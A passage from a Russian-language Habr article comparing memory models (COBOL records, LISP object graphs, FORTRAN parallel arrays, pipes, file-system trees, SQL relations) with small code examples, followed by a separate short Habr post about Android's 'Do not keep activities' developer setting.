В такой модели памяти, если у вас есть несколько подобных сущностей, то каждая из них будет иметь запись одного и того же типа (и по размеру, и по подполям), предназначенную для хранения информации. Таким образом, вся информация о данной сущности будет располагаться в памяти последовательно. Вы сможете очень просто загружать и хранить эти куски смежных данных на диске, ленте, перфокартах или любых других носителях информации. Если несколько из таких записей находятся в памяти одновременно, их можно поместить в массив.
Любой атрибут сущности определяется двумя байтами, представляющими собой смещение начала и конца этого атрибута относительно базового адреса записи, хранящей данные этой сущности. Например, объект Счет может иметь поле Владелец, занимающее байты с 10 по 35, внутри которого с 18 по 26 байт будет храниться Отчество владельца счета.
О таком подходе можно сделать несколько интересных замечаний.
Там вообще нет никаких указателей. Это означает, что не существует никакого способа сделать динамическое выделение памяти, не получится разыменовать нулевой указатель, никак не перезаписать область памяти, используя висячий указатель (хотя, если две переменные объявлены как REDEFINES, то они, конечно, могут затереть друг друга, и избежать этой проблемы помогут [Tagged unions](https://en.wikipedia.org/wiki/Tagged_union)), никакой нехватки памяти, никакого наложения и никакого расхода памяти на указатели.
С другой стороны, это также означает, что каждая структура данных в вашей программе имеет строгое ограничение, и единственный способ использовать ту же память для различных вещей в разное время — это рискнуть использовать их одновременно.
Вложенные записи весьма экономны с памятью. Вам нужно держать в памяти только данные тех сущностей, с которыми вы работаете в данный момент. Это означает, что вы сможете успешно обрабатывать мегабайты данных на машине с килобайтами памяти, что и делали программисты на COBOL в 1950-х годах.
Каждая часть данных (поля, подполя и т.п.) имеет одного уникального родителя (за исключением самого верхнего уровня), который сразу же содержит все дочерние данные.
В этой модели памяти, если одна часть программы имеет собственную память (например, стековый кадр или статическую приватную переменную), она может сделать приватными некоторые сущности за счет хранения их данных в этой собственной памяти. Это полезно, если нужно создать локальную временную переменную и быть уверенным, что это не повлияет на выполнение остальной части программы. Однако такая модель памяти не позволяет любой части программы сделать атрибут приватным.
ALGOL (и ALGOL-58 и ALGOL-60) позаимствовал запись (record) из COBOL в качестве основного, помимо массивов, механизма структурирования данных. И именно от Алгола почти все другие языки программирования унаследовали его в той или иной форме.
Язык Си имеет почти весь набор средств для структурирования данных: примитивные типы (char, int и т.д.), структуры, объединения и массивы. Однако в Си также имеются указатели и подпрограммы, которые не только принимают аргументы, но являются рекурсивными, требуя чего-то вроде выделения стека. Оба этих расширения модели COBOL пришли из LISP.
Объектные графы и модель памяти LISP: память как маркированный ориентированный граф
-----------------------------------------------------------------------------------
LISP (это сейчас он Lisp, а в 1959 был LISP) вряд ли мог бы ещё сильнее отличаться от COBOL. Мало того, что в нем есть указатели, так кроме них в LISP больше почти ничего и нет. Единственным механизмом структурирования данных в LISP является нечто, называемое cons и состоящее из двух указателей, один из которых называется «car», а другой «cdr». Значением любой переменной является указатель. Это может быть указатель на cons, или указатель на символ, или указатель на число, или иногда даже указатель на подпрограмму, но это указатель.
Кроме того, там есть рекурсивные подпрограммы с аргументами, и благодаря этому, а также оптимизации [хвостовой рекурсии](https://ru.wikipedia.org/wiki/%D0%A5%D0%B2%D0%BE%D1%81%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D1%80%D0%B5%D0%BA%D1%83%D1%80%D1%81%D0%B8%D1%8F), вы можете писать программы, которые делают что-либо, вообще никогда не изменяя значение переменной.
На любой объект может ссылаться любое количество указателей, посредством любого из которых объект может быть модифицирован. Таким образом, объект не имеет уникального родителя.
Эта модель является чрезвычайно гибкой в том смысле, что она позволяет довольно легко писать программы для обработки естественных языков, программной интерпретации и компиляции, [полного перебора](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%BB%D0%BD%D1%8B%D0%B9_%D0%BF%D0%B5%D1%80%D0%B5%D0%B1%D0%BE%D1%80) и [символьных вычислений](https://ru.wikipedia.org/wiki/%D0%A1%D0%B8%D0%BC%D0%B2%D0%BE%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5_%D0%B2%D1%8B%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%B8%D1%8F). Она также позволяет легко создать структуру данных (например, [красно-черное дерево](https://ru.wikipedia.org/wiki/%D0%9A%D1%80%D0%B0%D1%81%D0%BD%D0%BE-%D1%87%D1%91%D1%80%D0%BD%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE)) один раз, а затем применить его ко многим различным типам объектов. В противоположность этому, COBOL-производные языки, такие как Си, испытывают значительные трудности с такого рода обобщениями, в результате чего программистам снова и снова приходится писать огромное количество повторяющегося кода для реализации всё тех же хорошо известных структур данных и алгоритмов для новых типов данных.
В то же время, однако, эта модель плохо справляется с ограничениями памяти, подвержена ошибкам и требует много изобретательности для эффективной реализации. Поскольку каждый объект идентифицируется только указателем, то каждый объект может иметь псевдонимы. Каждая переменная может быть пустым указателем. Поскольку указатель может указывать на что угодно, ошибки типов (когда указатель на объект одного типа хранится в переменной, которая, как ожидается, должна указывать на какой-то другой тип) встречаются повсеместно, и объектно-графовые языки для сокращения длительности отладки традиционно используют проверки типов во время выполнения.
В этой объектно-графовой модели памяти, если у вас есть несколько объектов одного и того же типа, каждый из них будет идентифицирован указателем, и нахождение конкретного атрибута объекта включает в себя навигацию по графу объектов, начиная с этого указателя. Например, если у вас есть объект Счет, то вы можете представить его в виде ассоциативного списка. Затем, чтобы найти его владельца (объект, который может использоваться совместно с другими объектами счетов), вы идете по списку, пока не найдете cons, чей car будет ACCOUNT-HOLDER, и берете его cdr. Затем, чтобы найти отчество владельца счета, возможно, ищете в векторе атрибутов владельца счета, получаете указатель на соответствующее имя, которое может быть либо строкой, либо символом, как в старых Лиспах, в которых нет строк. Обновление второго имени может включать в себя изменение этой строки, обновление вектора для указания на новую строку, или построение нового ассоциативного списка с новым объектом владельца счета, в зависимости от того, используется ли этот объект владельца с другими объектами счетов, и является ли желательным для других счетов, чтобы отчество тоже обновилось.
Сборка мусора — почти необходимость в этих языках. Начиная с 1959 года, когда Маккарти создал Лисп, и до 1980, когда Либерман и Хьюитт придумали использовать поколения при сборке мусора, программы, использующие такую модель памяти, тратили от трети до половины времени своей работы на сборку мусора. Некоторые компьютеры даже специально создавались с несколькими процессорами для того, чтобы сборщик мусора можно было запустить на отдельном процессоре.
Объектно-графовые языки предъявляли высокие требования к сборщикам мусора, и не только потому, что они предпочитают создавать новые объекты, а не изменять существующие, но и потому, что они, как правило, имеют много указателей. В COBOL-производных языках, таких как Си и Golang, сборщикам мусора работать легче, потому что там выполняется меньше крупных операций с памятью; эти языки имеют тенденцию модифицировать объекты вместо того, чтобы заново выделять память для измененных версий. И программисты, как правило, стараются использовать вложенные записи, где это возможно, а не связывать их с указателями, так что указатели встречаются только там, где желательны полиморфизм, допустимость пустых указателей (который можно рассматривать как частный случай полиморфизма) или наложения.
Сериализация объектного графа немного сложнее потому, что он может содержать циклические ссылки, а также потому, что часть, которую вы хотите сериализовать, может содержать ссылки на части, которые вы не хотите сериализовать, и оба варианта вы должны рассматривать как специфичные случаи. Например, в некоторых системах экземпляр класса содержит ссылку на свой класс, а класс содержит ссылки не только на текущие версии всех методов, но и на класс-родитель. А вы, возможно, не хотите сериализовать весь байт-код класса при каждой сериализации объекта. Кроме того, когда вы десериализуете два объекта, которые ранее имели общие ссылки (два счета для одного и того же владельца счета), то вы, вероятно, хотите сохранить их совместное использование. В общем, конкретная политика по этому вопросу может варьироваться в зависимости от того, с какой целью вы сериализуете данные.
Подобно модели памяти с вложенными записями, модель объектного графа позволяет сделать все атрибуты конкретной сущности локальными по отношению к конкретной части вашей программы — вы просто не даете каких-либо ссылок на её структуру данных для остальной части программы, — но не позволяет сделать приватным конкретный атрибут всех сущностей. Однако, в отличие от модели памяти с вложенными записями, модель объектного графа уменьшает зависимость от размера памяти любого узла, что открывает дверь в объектно-ориентированное наследование и позволяет делать атрибуты приватными, несмотря на ряд серьезных проблем.
Эту модель используют большинство популярных сегодня языков программирования. Не только текущие Лиспы, но также Haskell, ML, Python, Ruby, PHP5, Lua, JavaScript, Erlang и Smalltalk. Все они расширили набор типов объектов, которые существуют в памяти за пределами простой пары; как правило, они включают в себя массивы указателей и хэш-таблиц строк, или указателей на другие указатели. Некоторые из них также включают в себя Tagged unions и неизменяемые записи. Хэш-таблицы, в частности, предлагают своего рода способ добавить новые свойства существующих объектов, в большинстве случаев не затрагивая другой код, который использует эти объекты.
В общем, в этих языках вы можете только следовать по ребрам графа в направлении, которое они указывают, и метки ребер должны быть уникальными в пределах узла-источника (у cons есть только один car, не два и не десять), но не узла-назначения. Структура данных ZigZag Теда Нельсона представляет собой исследование ситуации, когда вам требуется, чтобы они были уникальны и в источнике, и в назначении. UnQL представляет собой, в каком-то смысле, исследование, которое полностью исключает уникальность.
Java (и C#) используют слегка модифицированную версию этой модели памяти: в Java, например, есть такие вещи, как «примитивные типы», которые не являются указателями.
Параллельные массивы и модель памяти FORTRAN: память как группа массивов
------------------------------------------------------------------------
Фортран был разработан для численного моделирования физических явлений, — так называемые «научные вычисления», — что было одним из самых ранних применений компьютеров. В то время научные компьютеры отличались от «бизнес-компьютеров» на языке COBOL целым рядом особенностей: они использовали двоичные числа вместо десятичных; у них не было типа данных байт — только слово; они поддерживали математические операции с плавающей запятой; и у них было более быстрое вычисление и более медленный ввод/вывод.
Как правило, такое моделирование подразумевало много линейной алгебры с большими массивами чисел, которые должны быть обработаны как можно скорее. И FORTRAN был оптимизирован как раз для этого — для эффективного использования многомерных массивов. В FORTRAN не только не было рекурсивных подпрограмм, указателей и записей, сначала в нем вообще не было подпрограмм!
Когда подпрограммы в нём появились, то имели параметры, которые могли быть массивами. В Алгол 60 это так и не было толком реализовано. Так как массивы были единственными непримитивными типами, то единственно возможными типами элементов для массивов были примитивные типы, такие как целые числа или числа с плавающей запятой.
В модели памяти параллельных массивов, которая развилась в среде FORTRAN, если у вас есть несколько объектов одного и того же типа, то каждый из них будет идентифицирован числовым смещением, которое валидно для нескольких массивов. И поиск приватного атрибута конкретного объекта включает в себя индексацию массива для этого атрибута с индексом такого объекта. Если немного отойти от 1950-х и позволить себе примитивный тип символа, из которого можно формировать массивы, придерживаясь параллельных массивов для структурирования данных, то определить второе имя владельца счета из предыдущего примера можно следующим образом:
1. IM = IMDNAM(ICCHLD(IACCTN))
IA = ISTR(IM)
IE = ISTR(IM+1)
После этих четырех операций индексации массивов второе имя владельца счета находится в символах [IA, IE) массива CCHARS.
2. IM = IMDNAM(IACCTN), затем действуйте как в предыдущем варианте, если у вас нет отдельного набора символов для атрибутов владельцев счетов.
3. Вместо IMDNAM используйте CMDNAM, N\*12 массив символов, с одной 12-символьной колонкой для второго имени каждого владельца счета.
В этой модели памяти подпрограмма может получить доступ к любому индексу в массиве, который был передан в качестве аргумента или доступен ему как-то иначе, считывать или записывать его любое количество раз в случайном порядке.
Это именно то, что означает фраза «писать на FORTRAN можно на любом языке»: почти в любом языке программирования есть массивы примитивных типов. Даже на ассемблере или Forth несложно делать массивы. Awk, Perl4, и Tcl вдобавок предоставляют словари, которые не являются объектами первого класса, поскольку это не объектно-графовые языки, хотя они отлично работают вместо массивов для хранения атрибутов объектов, позволяя идентифицировать объекты строками вместо целых чисел.
Интересно, что на машинном уровне, в простом случае, параллельные массивы генерируют почти такой же код, как и структурные элементы, ссылающиеся через указатели, как во вложенной модели. Например, здесь `b->foo`, где b — указатель на struct с 32-х битным членом foo:
```
40050c: 8b 47 08 mov 0x8(%rdi),%eax
А также здесь foos[b], где b — индекс в массиве foos, состоящем из 32-х битных элементов:
400513: 8b 04 bd e0 d8 60 00 mov 0x60d8e0(,%rdi,4),%eax
```
В обоих случаях мы добавляем непосредственную константу, представляющую нужный нам атрибут, к переменной в регистр, который указывает, какой объект мы рассматриваем. Во втором случае отличие в том, что мы умножаем индекс на размер элемента, и непосредственная константа немного больше.
(Вы заметите, что, хотя формат инструкции отличается, и не все типы архитектур процессоров поддерживают подобные большие подмножества постоянных, базовый адрес массива или достаточно большие подмножества полей структур на некоторых машинах могут быть загружены в регистры).
[Адам Н. Розенберг защищал](http://www.the-adam.com/adam/rantrave/st02.pdf) программирование в стиле параллельных массивов на протяжении целой книги. Субъективно, это не такая уж хорошая идея, но Розенберг дает наиболее современное ее объяснение, какое я только встречал.
Если вкратце, то параллельные массивы являются cache-friendly, поддерживают разную видимость для разных атрибутов и установку контрольных точек, обеспечивают последовательность, которая может быть значимой, и поддерживают многомерное индексирование (где атрибут — это свойство ряда объектов, а не одного из них). Нужно добавить, что они также позволяют писать подпрограммы, которые абстрактны для атрибутов, поскольку они овеществляют каждый атрибут в среде выполнения: вы можете написать функцию sum или функцию covariance, которые могут быть применены для произвольных атрибутов.
Второй момент особенно интересен: хотя параллельные массивы не позволяют делать объект приватным в определенной части программы, они позволяют делать приватные атрибуты.
К сожалению, использование параллельных массивов может приводить к ошибкам. Компилятор не может сказать, какие массивы в определенном индексе валидные, а какие нет, также этого не сделает отладчик или другие инструменты. Использование параллельных массивов означает, что ошибка несоответствия типов (type error) — сохранение идентификатора для определенного объекта в переменной, которая должна включать идентификаторы для других типов объектов — во время компилирования или выполнения очень часто дает неправильные ответы вместо сообщения об ошибке. (Особенно, если у вас не включена проверка границ массива). Кроме того, поскольку в среде выполнения параллельные объекты овеществляют атрибуты, а не объекты, то создание и уничтожение объектов может приводить к ошибкам, подпрограммы будут содержать большое количество параметров (что увеличивает размер подпрограмм), и у вас часто будет возникать та же проблема, что возникает при модели вложенной записи (nested-record model).
Параллельные массивы очень просты и эффективны в сериализации, особенно в том случае, если вы не слишком озабочены проблемой портируемости на различные архитектуры, но они часто требуют сериализации или десериализации атрибута для всех объектов, к которым он одновременно применяется.
FORTRAN — не единственный язык программирования, который стимулирует организовывать память при помощи параллельных массивов. Octave, Matlab, APL, J, K, PV-WAVE IDL, Lush, S, S-Plus и R тоже ориентированы на использование параллельных массивов. Numpy, Pandas и OpenGL — «параллельные» библиотеки, Perl4, awk, и Tcl, как говорилось выше, тоже в какой-то степени ориентированы на использование параллельных массивов. Некоторые из них компенсируют часть рисков параллельных массивов, или хотя бы побуждают создавать новые массивы. Pandas, K и параллельно-словарный вариант (parallel-dictionary variant) снижают риск появления ошибок, побуждая вас индексировать ваши массивы без использования целых чисел.
Различные функции современного аппаратного обеспечения вынуждают использовать параллельные массивы для повышения производительности: увеличивается разрыв между скоростью CPU и скоростью памяти, в GPU применяется SIMT-архитектура, в CPU добавлены SIMD-инструкции ради увеличения отношения ALU к управляющим структурам процессора. В результате разработчики игр вынуждены возвращаться к использованию параллельных массивов, что называют «архитектурой, ориентированной на обработку данных» (data-oriented design) или (в некотором роде) «системами объектов» (entity systems). В целом, в среде «научных» вычислений никогда не забывали о параллельных массивах.
Интерлюдия: почему нет моделей памяти Lua, Erlang или Forth?
------------------------------------------------------------
Эти три модели памяти примерно соответствуют трем основным типам структур данных: запись (record), связный список и массив. Но мы знаем, что есть несколько других структур данных, которые применяются повсеместно:
* Lua использует конечные карты (finite maps) (словари, которые здесь называют «таблицами»),
* Erlang использует активные процессы без разделения ресурсов, которые ставят сообщения друг другу в очередь (вариант модели акторов, созданной Хьюиттом (Hewitt) и Агой (Agha)),
* Forth использует стеки.
Lua и Erlang по сути объектно-графовые языки. В программах на Forth часто используются параллельные массивы. Похоже, вы можете создать систему, где всё организовано как хэш-таблица или определенная разновидность не-граф-структурированного объединения, или два или больше стека. Одним из примеров исследований в области не-граф-структурированного взаимодействия между акторами в пространстве кортежей является Linda, которая может быть расширена до целого языка программирования.
Но в конце мы рассмотрим другие альтернативы.
Пайпы и модель памяти для магнитных лент
----------------------------------------
Пайпы Unix — самый простой тип памяти (и у них есть аппаратные аналоги). Единственный вид операций, которые они поддерживают — запись байта (или, при оптимизации, нескольких байтов), чтение байта и, вероятно, закрытие (с любой стороны). (Реальная магнитная лента пишет и читает блоками, но мы этот факт пропустим). В целом, вы не сможете читать и записывать в один и тот же пайп одной и той же программы.
Такой тип памяти позволяет лишь добавлять и хранить данные, что приемлемо для некоторых алгоритмов. MapReduce недалеко ушел от этого, но типичная проблема токенизации с помощью lex, например, заключается в использовании такого минимального интерфейса для его ввода.
Итераторы и генераторы Python, однонаправленные итераторы (forward iterators) C++ STL, однонаправленные диапазоны (forward ranges) D, каналы Golang —всё это примеры таких пайпов или каналов, с их чисто последовательным доступом к данным.
На что может быть похожа модель памяти языка программирования, основанная лишь на пайпах? Вам понадобятся операции для считывания элементов данных из пайпов (вероятно, примитивные типы) и их записи. Давайте рассмотрим пример языка программирования из введения к этой статье. Даны пайпы с подпрограммами empty, get, и ``put, вы можете написать функцию слияния, которую можно использовать для сортировки слияния, хотя это не так просто сделать на Python или чем-то еще:
```
def merge(in1, in2, out) {
have1 := 0;
have2 := 0;
while !empty(in1) || !empty(in2) {
if 0 == have1 && !empty(in1) {
val1 := get(in1);
have1 := 1;
}
if 0 == have2 && !empty(in2) {
val2 := get(in2);
have2 := 1;
}
if 0 == have1 {
put(out, val2);
have2 := 0;
} else {
if 0 == have2 || val1 < val2 {
put(out, val1);
have1 := 0;
} else {
put(out, val2);
have2 := 0;
}
}
}
}
```
Обратите внимание, что указанная выше функция и сортировка слиянием лишь предполагают, что здесь минимум четыре пайпа. Их ёмкости достаточно для данных, и они могут отличаться между собой по объёму. Здесь не требуется создавать или уничтожать пайпы, или пропускать пайпы через пайпы. Аргументы in1, out и т.д. не должны быть чем-то вроде объектов пайпа первого класса, они должны быть лишь целыми числами. (Именно так Unix-программы работают с Unix-пайпами: по индексу дескриптора файла). Или они также могут быть объектами пайпа первого класса, которые могут быть переданы в качестве аргументов, но не через сами пайпы.
Можете представить себе многопоточную (multithreaded) систему управления потоком команд (control flow system), в которой вы можете форкнуть различные потоки (threads), а также потоки, которые пытаются считывать из блока пустых потоков (empty streams block), пока данные не станут доступными. Вы должны использовать пайпы вместо массивов или записей; вероятно, вам пришлось бы использовать один поток для каждого атрибута. Затем среда выполнения может по вашему указанию назначить различные потоки обработки пайпов, вероятно, с запуском некоторых из них на разных машинах.
Пи-исчисления (π-calculus) — язык, который использует только пайпы. По сути, это параллельная (concurrent) канало-ориентированная (channel-oriented) альтернатива λ-исчислениям. Как объясняет Джаннет Винг:
> Давайте введем Р и Q в качестве обозначения процессов. В этом случае:
>
>
>
> * P|Q обозначают процесс, составленный из P и Q, выполняющихся параллельно;
> * a(x).P обозначает процесс, который ожидает записи значения х из канала а, и потом, получив значение, ведет себя как Р;
> * ā〈x〉.P обозначает процесс, который ожидает отправки значения х в канал а, и после того, как х успешно одобрен каким-либо вводным процессом, ведет себя как Р.
> * (νa)P гарантирует, что а — это свежий канал в Р;
> * ! Р обозначает бесконечное количество копий Р, все выполняются параллельно;
> * P + Q обозначает процесс, который ведет себя как P или Q;
> * 0 обозначает инертный процесс, который ничего не делает.
>
Пример кода пи-исчисления:
`!incr(a, x).ā〈x+1〉 | (νa)( i̅n̅c̅r̅〈a, 17〉 | a(y) )`
В результате запускается «сервер» с ограниченным числом процессов, каждый из которых слушает канал incr и ждет одно сообщение, раскладывает его на а и х, затем отправляет х+1 в канал а и завершается. Всё это происходит параллельно с двумя другими параллельными процессами, вместе использующими свежий канал с названием «а». Один из них отправляет 17 в канал incr, в то время, как другой ожидает отсылки сообщения в этот канал, прикрепляя его к y.
Пи-исчисление, вероятно, не станет практичной системой программирования, равно как и другие подобные системы исчисления, но она хотя бы предполагает возможность программирования с использованием в роли памяти только пайпов. Однако обратите внимание, что вышеприведённая версия тянет за собой использование кортежей и помеченных графов процессов (labeled graphs)! И если вы будете ими пренебрегать, то я не уверен в универсальности применения этой системы исчисления.
«Потоковое программирование», реализованное в проекте NSA, известном как Apache NiFi, представляет собой другой подход к генерализации парадигмы Unix-пайпы-и-фильтры.
Директории и модель памяти Multics: память представляет собой дерево строк (string-labeled tree) с blob-листьями
----------------------------------------------------------------------------------------------------------------
Иерархическая файловая система Unix (или Windows, или MacOS, или Multics) — это иной тип организации памяти, как правило это долговременная память, созданная на основе жёстких дисков и активно используемая shell-скриптами. В своей исходной форме она представляет собой ограничение объектно-графовой модели, в которой у каждого узла — единственный родитель, и это либо «директория» со строчно-проиндексированными словарями линков на дочерние узлы, либо «обычный файл», изменяемый блоб (последовательность байтов). Качественным улучшением является третий тип узла, «символический линк», который представляет собой путь следования от корня дерева или своей родительской директории для нахождения желаемого узла — если он вообще существует.
Обычно в иерархической файловой системе для представления свойств (атрибутов) объекта вы сериализуете их в обычный файл, вместе со многими другими объектами! Но так делается, в основном, потому, что интерфейсы системных вызовов медленные и неповоротливые, и потому что накладные расходы на узел обычно составляют порядка сотен байтов. Вы можете использовать директорию каждого объекта, сохраняя значение свойств (атрибутов) «х» в файле «х». Именно так поступает Unix при хранении данных о пользователях, например, или различных версий программного пакета, или о данных том, как компилировать различные программные пакеты.
Иерархическая файловая система — это компромисс в случае локальных переменных. Обычно любые узлы дерева доступны при навигации по нему, но вы можете быть уверенными в том, что ваше ПО, запущенное в одной части файловой системы, не сможет обнаружить файлы, которые вы создали в другой части системы. В большинстве случаев вы можете добавлять новые файлы в директории без остановки ПО, которое уже использует эти директории, хотя работа этой схемы не гарантируется.
Уникальное родительское свойство делает сериализацию и десериализацию относительно простой.
Есть несколько систем программирования, которые работают примерно по такому принципу. На это более-менее похожа MUMPS, до сих пор используемая Министерством по делам ветеранов США (хотя обычно «файлы» ограничены 4096 байтами, а узел может быть как «директорией», так и «обычным файлом»). База данных IBM IMS, которая также до сих пор в ходу, имеет схожую модель данных, здесь узлы называются «сегментами». Также в базу данных внедрена схема. Несколькими годами ранее Марк Ленцнер (Mark Lentczner) начал разрабатывать современное, объектно-ориентированное программное окружение, которое он назвал Wheat. Оно основано на этой модели для разработки веб-приложений и более качественной альтернативе PHP. В Wheat каждая запись активации функции является «директорией» с переменными в качестве «файлов» (динамически типизированными, в отличие от блобов). Некоторые поддеревья «файловой системы» постоянны, но не все. Обеспечивается прозрачный доступ к удаленно сохраненным данным. Wheat позволяет предотвратить потерю согласованности между устойчивыми, иерархически именованными, глобально доступными веб-ресурсами и собственной концепцией памяти программы.
Отношения и модель памяти SQL: память — это коллекция изменяемых многозначных конечных функций
----------------------------------------------------------------------------------------------
Пожалуй, это самая абстрактная из всех моделей памяти.
«Многозначная функция» в математике обычно называется «отношением» или «зависимостью». cos — это функция: для любого θ у cos(θ) существует единственное значение. Cos-1 — это отношение: у cos⁻¹(0.5) много значений, хотя мы превращаем выражение в функцию, выбирая лишь какое-то одно. Вы можете думать о cos как о наборе упорядоченных пар, например: (0, 1), (π/2, 0), (π, -1), (3π/2, 0) и так далее. И операция инверсии — это лишь вопрос изменения порядка следования пар: (1, 0), (0, π/2), (-1, π), (0, 3π/2) и так далее.
Однако, отношения, которые мы рассматриваем здесь, более общего характера, чем бинарные отношения: вместо замещения двухкортежных наборов они представляют собой n-кортежные для определённого значения n. Вы можете рассмотреть в качестве примера тернарное отношение между углом, его косинусом и синусом: (0, 1, 0), (π/2, 0, 1), (π, -1, 0) и т.п.
Большинство систем для реляционного программирования имеют лишь ограниченную поддержку для бесконечных отношений вроде cos, поскольку с ними очень легко получить нерешаемые проблемы.
Если говорить по существу, то вот, например, секция из таблицы permissions.sqlite установщика моего Firefox:
```
sqlite> .mode column
sqlite> .width 3 20 10 5 5 15 1 1
sqlite> select * from moz_hosts limit 5;
id host type permi expir expireTime a i
--- -------------------- ---------- ----- ----- --------------- — -
1 addons.mozilla.org install 1 0 0
2 getpersonas.com install 1 0 0
5 github.com sts/use 1 2 1475110629178
9 news.ycombinator.com sts/use 1 2 1475236009514
10 news.ycombinator.com sts/subd 1 2 1475236009514
```
С точки зрения реляционной модели, каждый из этих столбцов в некотором смысле является функцией основного ключа, который находится в колонке id слева; поэтому вы можете заявить host(1) как addons.mozilla.org, host(2) как getpersonas.com, type(5) как sts/use. Пока что это лишь хэш-таблица.
Но есть и отличия от обычного функционального программирования. Речь идет о том, что вы можете вместо host(9), запросить host⁻¹('news.ycombinator.com'), который оказывается многозначным:
```
sqlite> select id from moz_hosts where host = 'news.ycombinator.com';
id
---
9
10
```
Более того, вы можете скомбинировать вместе эти многозначные функции:
```
sqlite> .width 0
sqlite> select min(expireTime) from moz_hosts where host = 'news.ycombinator.com';
min(expireTime)
---------------
1475236009514
```
Обычно для того, чтобы представить объект в SQL, вы используете строку в таблице («кортеж» в «отношении»), а для представления связей с другими объектами вы определяете набор уникальных свойств каждого объекта, что называется ключом, как id в вышеприведённой таблице. Затем вставляете ключ одного объекта в какие-то столбцы других объектов. Вернёмся к примеру с отчеством владельца счета:
```
select accountholder.middlename
from accountholder, account
where accountholder.id = account.accountholderid
and account.id = 3201
```
Или можно просто оставить то, что было в прошлом варианте, и получить отчества всех держателей аккаунтов, а не кого-то одного.
SQL — это не единственная реализация реляционной модели, но наиболее популярная. [Недавно она стала полной по Тьюрингу](http://blog.coelho.net/database/2013/08/17/turing-sql-1.html) и теперь может завоевать мир.
Всё это может показаться неуместным уходом от реальных языков программирования вроде Lisp, FORTRAN и C, поскольку SQL в качестве языка программирования скорее курьёзный, чем практичный инструмент. Но вспомните язык программирования, приведённый в начале в качестве примера. Если дополнить его вызовом SQL-операторов, хранить результаты в их переменных в виде примитивных типов, и перебирать результирующие наборы, то он становится вполне практичной системой программирования, хотя и несколько неудобной (фактически, этому описанию более-менее соответствует PL/SQL).
Речь идет не об изменении обозначаемых или выраженных типов в языке. Пусть даже язык программирования может обрабатывать числа лишь как переменные значения или значения выражений, но если он способен хранить эти числа в отношениях и извлекать их посредством запросов, то это разительно увеличивает функциональность такого языка.
У SQL есть проблемы из-за некоторых ограничений: имена таблиц размещаются в глобальном пространстве имен, плюс строки и столбцы в таблицах доступны глобально (у вас не может быть отдельных строк или столбцов, хотя результат запроса в определенном смысле представляет собой отдельную таблицу, и может быть использован в этой роли); каждый столбец может обычно содержать только примитивные типы данных вроде чисел (по крайней мере, современные базы данных не ограничивают ширину строк, как в COBOL). И обычно выполняется всё это очень медленно.
В определенном смысле операции SQL, а также большинство его преимуществ и недостатков, имеют сходство с такими параллельными массивами:
```
for (int i = 0; i < moz_hosts_len; i++) {
if (0 == strcmp(moz_hosts_host[i], "news.ycombinator.com")) {
results[results_len++] = moz_hosts_id[i];
}
}
```
Другой пример того, как SQL может облегчить вам жизнь: выполнение объединения сортировкой/слиянием с параллельными массивами никак не сравнится с неуправляемым (unmanageable) вариантом. Вместо такого SQL:
```
select accountholder.middlename
from accountholder, account
where accountholder.id = account.accountholderid
```
Вы можете сделать что-то вроде этого на Си с параллельными массивами:
```
int *fksort = iota(account_len);
sort_by_int_column(account_accountholderid, fksort, account_len);
int *pksort = iota(accountholder_len);
sort_by_int_column(accountholder_id, pksort, accountholder_len);
int i = 0, j = 0, k = 0;
while (i < account_len && j < accountholder_len) {
int fk = account_accountholderid[fksort[i]];
int pk = accountholder_id[pksort[j]];
if (fk == pk) {
result_id[k] = fk;
result_middle_name[k] = accountholder_middlename[pksort[j]];
k++;
i++; // Supposing accountholder_id is unique.
} else if (fk < pk) {
i++;
} else {
j++;
}
}
free(fksort);
free(pksort);
```
Здесь iota представляет собой:
```
int *iota(int size) {
int *results = calloc(size, sizeof(*results));
if (!results) abort();
for (int i = 0; i < size; i++) results[i] = i;
return results;
}
```
А задать sort\_by\_int\_column можно примерно так:
```
void sort_by_int_column(int *values, int *indices, int indices_len) {
qsort_r(indices, indices_len, sizeof(*indices),
indirect_int_comparator, values);
}
int indirect_int_comparator(const void *a, const void *b, void *arg) {
int *values = arg;
return values[*(int*)a] — values[*(int*)b];
}
```
В SQL-реализациях используются различные хитрости для повышения эффективности работы со сложными запросами, но это делается в ущерб эффективности выполнения более простых запросов, хотя это и не влияет на абстракции, видимые пользовательской программой. Ну, не сильно влияет.
Многие говорят, что SQL — это декларативный язык, где вам нет необходимости говорить, как именно вычисляется результат, ведь только результат и важен. Пожалуй, это справедливо лишь отчасти, и декларативность — не бинарный предикат, это, скорее, вопрос уровня абстракции описания, то есть бесконечный континуум. И на практике неизбежно возникают проблемы ниже уровня абстракции, на котором вы программируете, хотя бы по соображениям эффективности.
Более интересны реализации реляционной модели Prolog и miniKANREN, объединяющие в себе реляционное программирование с рекурсивными структурами данных объектных графов. Относительно простая программа miniKANREN может, например, генерировать бесконечную серию программ с выводом их собственного кода за вполне разумное время.
Сегодня также растёт популярность систем программирования с учётом ограничений (constraint programming), позволяющих указать некоторые свойства желаемого ответа («ограничений», которым должен удовлетворять ответ), после чего система принимается искать этот ответ. Популярность этих систем обусловлена разными причинами, но, в основном, это происходит благодаря год от года растущей эффективности алгоритмов решения SAT и SMT. | https://habr.com/ru/post/323624/ | null | ru | null |
# Do not keep activities
### Не сохранять операции
«Не сохранять операции» — именно таким странным образом переведена фраза «Do not keep activities» в настройках Android. А описание «Удалять все операции сразу после их завершения пользователем» не добавляет ясности. Включается она в меню «Параметры разработчика» (Developer Options), находится в самом низу.
Работает эта настройка очень просто, когда она включена, все неактивные активити умирают. Т.е. после перехода из активити A в активити B, активити A уничтожается. Таким образом можно проверить насколько вписывается ваше приложение в [activity lifecycle](http://developer.android.com/training/basics/activity-lifecycle/index.html).
Не хочется вдаваться в подробности lifecycle, но, в двух словах, система убивает фоновую активити когда захочет. В реальности это происходит не так редко, так что не стоит этим пренебрегать. Например, вам кто-то позвонил. Во время вашего разговора система может убить активити приложения, которым вы только что пользовались.
Или, самый простой способ убить активити — повернуть экран (если не android:configChanges=«keyboardHidden|orientation|screenSize»). Но не все приложения поддерживают поворот экрана. Да и те, которые поддерживают, встречаются с ошибками lifecycle на этапе разбработки, так что у них как раз проблем и не должно быть. Второй простой способ — сменить язык устройства.
Ну и разумеется можно просто включить «Do not keep activities».
